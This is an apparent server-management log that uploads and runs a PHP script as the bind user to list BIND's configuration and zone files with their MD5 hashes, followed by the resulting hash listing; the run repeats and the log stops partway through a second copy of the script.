MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 11:53:38: Establishing a connection
2026-04-22 11:53:38: 

PUT: /tmp/pkp114516

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 11:53:38: 

runuser -l bind -s /bin/bash -c '/tmp/pkp114516; rm /tmp/pkp114516'

2026-04-22 11:53:38: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 11:53:42: Establishing a connection
2026-04-22 11:53:42: 

PUT: /tmp/pkp894324

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
